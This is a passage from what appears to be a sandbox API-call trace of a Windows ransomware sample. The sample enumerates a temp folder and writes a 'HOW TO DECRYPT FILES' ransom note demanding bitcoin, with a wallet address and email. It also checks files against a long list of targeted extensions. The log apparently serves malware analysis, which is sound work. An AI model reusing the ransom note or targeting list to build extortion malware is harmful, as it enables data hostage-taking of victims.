Files\\Content.IE5\\", lpString2="KETAJP6D" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D" [0086.751] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D") returned 94 [0086.752] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72004e, dwReserved1=0x4a0047, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0086.752] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.752] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 1 [0086.752] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.752] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.752] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0086.752] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0086.752] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0086.752] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0086.752] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0086.752] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\*.*") returned="*.*" [0086.752] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\" [0086.753] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\") returned="" [0086.753] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\HOW TO DECRYPT FILES.txt" [0086.753] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\ketajp6d\\how to decrypt files.txt")) returned 0xffffffff [0086.753] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\ketajp6d\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0086.753] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0086.753] WriteFile (in: hFile=0x9c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0086.755] SetFileTime (hFile=0x9c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.755] CloseHandle (hObject=0x9c) returned 1 [0086.755] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini" [0086.755] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.ems") returned 0 [0086.755] lstrlenA (lpString="*.ems") returned 5 [0086.755] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.db") returned 0 [0086.755] lstrlenA (lpString="*.db") returned 4 [0086.755] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.dbf") returned 0 [0086.755] lstrlenA (lpString="*.dbf") returned 5 [0086.756] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.myox") returned 0 [0086.756] lstrlenA (lpString="*.myox") returned 6 [0086.756] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.myo") returned 0 [0086.756] lstrlenA (lpString="*.myo") returned 5 [0086.756] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.qbw") returned 0 [0086.756] lstrlenA (lpString="*.qbw") returned 5 [0086.756] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.qbb") returned 0 [0086.756] lstrlenA (lpString="*.qbb") returned 5 [0086.756] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.qbm") returned 0 [0086.756] lstrlenA (lpString="*.qbm") returned 5 [0086.756] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.qbo") returned 0 [0086.756] lstrlenA (lpString="*.qbo") returned 5 [0086.756] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.qbx") returned 0 [0086.756] lstrlenA (lpString="*.qbx") returned 5 [0086.756] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.qba") returned 0 [0086.756] lstrlenA (lpString="*.qba") returned 5 [0086.756] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.qby") returned 0 [0086.756] lstrlenA (lpString="*.qby") returned 5 [0086.756] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.qbj") returned 0 [0086.756] lstrlenA (lpString="*.qbj") returned 5 [0086.756] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.ofx") returned 0 [0086.756] lstrlenA (lpString="*.ofx") returned 5 [0086.757] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.qif") returned 0 [0086.757] lstrlenA (lpString="*.qif") returned 5 [0086.757] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.mye") returned 0 [0086.757] lstrlenA (lpString="*.mye") returned 5 [0086.757] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.mbox") returned 0 [0086.757] lstrlenA (lpString="*.mbox") returned 6 [0086.757] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.eml") returned 0 [0086.757] lstrlenA (lpString="*.eml") returned 5 [0086.757] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.pst") returned 0 [0086.757] lstrlenA (lpString="*.pst") returned 5 [0086.757] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.ost") returned 0 [0086.757] lstrlenA (lpString="*.ost") returned 5 [0086.757] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.idx") returned 0 [0086.757] lstrlenA (lpString="*.idx") returned 5 [0086.757] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.dbx") returned 0 [0086.757] lstrlenA (lpString="*.dbx") returned 5 [0086.757] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.sql") returned 0 [0086.757] lstrlenA (lpString="*.sql") returned 5 [0086.757] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.mdb") returned 0 [0086.757] lstrlenA (lpString="*.mdb") returned 5 [0086.757] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.fdb") returned 0 [0086.757] lstrlenA (lpString="*.fdb") returned 5 [0086.757] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.wab") returned 0 [0086.758] lstrlenA (lpString="*.wab") returned 5 [0086.758] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.dat") returned 0 [0086.758] lstrlenA (lpString="*.dat") returned 5 [0086.758] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.txt") returned 0 [0086.758] lstrlenA (lpString="*.txt") returned 5 [0086.758] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.jpeg") returned 0 [0086.758] lstrlenA (lpString="*.jpeg") returned 6 [0086.758] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.jpg") returned 0 [0086.758] lstrlenA (lpString="*.jpg") returned 5 [0086.758] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.png") returned 0 [0086.758] lstrlenA (lpString="*.png") returned 5 [0086.758] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.php") returned 0 [0086.758] lstrlenA (lpString="*.php") returned 5 [0086.758] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.cs") returned 0 [0086.758] lstrlenA (lpString="*.cs") returned 4 [0086.758] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.cpp") returned 0 [0086.758] lstrlenA (lpString="*.cpp") returned 5 [0086.758] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.rar") returned 0 [0086.758] lstrlenA (lpString="*.rar") returned 5 [0086.758] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.zip") returned 0 [0086.758] lstrlenA (lpString="*.zip") returned 5 [0086.758] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.html") returned 0 [0086.759] lstrlenA (lpString="*.html") returned 6 [0086.759] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.htm") returned 0 [0086.759] lstrlenA (lpString="*.htm") returned 5 [0086.759] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.xlsx") returned 0 [0086.759] lstrlenA (lpString="*.xlsx") returned 6 [0086.759] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.xls") returned 0 [0086.759] lstrlenA (lpString="*.xls") returned 5 [0086.759] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.mp4") returned 0 [0086.759] lstrlenA (lpString="*.mp4") returned 5 [0086.759] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.ppt") returned 0 [0086.759] lstrlenA (lpString="*.ppt") returned 5 [0086.759] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.pptx") returned 0 [0086.759] lstrlenA (lpString="*.pptx") returned 6 [0086.759] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.doc") returned 0 [0086.759] lstrlenA (lpString="*.doc") returned 5 [0086.759] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.dot") returned 0 [0086.759] lstrlenA (lpString="*.dot") returned 5 [0086.759] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.docx") returned 0 [0086.759] lstrlenA (lpString="*.docx") returned 6 [0086.759] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.7z") returned 0 [0086.759] lstrlenA (lpString="*.7z") returned 4 [0086.759] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.tar") returned 0 [0086.759] lstrlenA (lpString="*.tar") returned 5 [0086.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.bz2") returned 0 [0086.760] lstrlenA (lpString="*.bz2") returned 5 [0086.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.gz") returned 0 [0086.760] lstrlenA (lpString="*.gz") returned 4 [0086.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.mkv") returned 0 [0086.760] lstrlenA (lpString="*.mkv") returned 5 [0086.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.eml") returned 0 [0086.760] lstrlenA (lpString="*.eml") returned 5 [0086.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.msg") returned 0 [0086.760] lstrlenA (lpString="*.msg") returned 5 [0086.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.edb") returned 0 [0086.760] lstrlenA (lpString="*.edb") returned 5 [0086.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.accdb") returned 0 [0086.760] lstrlenA (lpString="*.accdb") returned 7 [0086.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.odb") returned 0 [0086.760] lstrlenA (lpString="*.odb") returned 5 [0086.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.java") returned 0 [0086.760] lstrlenA (lpString="*.java") returned 6 [0086.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.asm") returned 0 [0086.760] lstrlenA (lpString="*.asm") returned 5 [0086.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.pfx") returned 0 [0086.761] lstrlenA (lpString="*.pfx") returned 5 [0086.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.pem") returned 0 [0086.761] lstrlenA (lpString="*.pem") returned 5 [0086.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.p12") returned 0 [0086.761] lstrlenA (lpString="*.p12") returned 5 [0086.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.gpg") returned 0 [0086.761] lstrlenA (lpString="*.gpg") returned 5 [0086.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.vsd") returned 0 [0086.761] lstrlenA (lpString="*.vsd") returned 5 [0086.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.odg") returned 0 [0086.761] lstrlenA (lpString="*.odg") returned 5 [0086.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.raw") returned 0 [0086.761] lstrlenA (lpString="*.raw") returned 5 [0086.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.nef") returned 0 [0086.761] lstrlenA (lpString="*.nef") returned 5 [0086.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.svg") returned 0 [0086.761] lstrlenA (lpString="*.svg") returned 5 [0086.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.psd") returned 0 [0086.761] lstrlenA (lpString="*.psd") returned 5 [0086.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.vmx") returned 0 [0086.761] lstrlenA (lpString="*.vmx") returned 5 [0086.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.vmdk") returned 0 [0086.762] lstrlenA (lpString="*.vmdk") returned 6 [0086.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.vdi") returned 0 [0086.762] lstrlenA (lpString="*.vdi") returned 5 [0086.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.lay6") returned 0 [0086.762] lstrlenA (lpString="*.lay6") returned 6 [0086.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.mpeg") returned 0 [0086.762] lstrlenA (lpString="*.mpeg") returned 6 [0086.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.djvu") returned 0 [0086.762] lstrlenA (lpString="*.djvu") returned 6 [0086.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.tiff") returned 0 [0086.762] lstrlenA (lpString="*.tiff") returned 6 [0086.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.backup") returned 0 [0086.762] lstrlenA (lpString="*.backup") returned 8 [0086.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.pdf") returned 0 [0086.762] lstrlenA (lpString="*.pdf") returned 5 [0086.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\desktop.ini", pszSpec="*.cert") returned 0 [0086.762] lstrlenA (lpString="*.cert") returned 6 [0086.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet 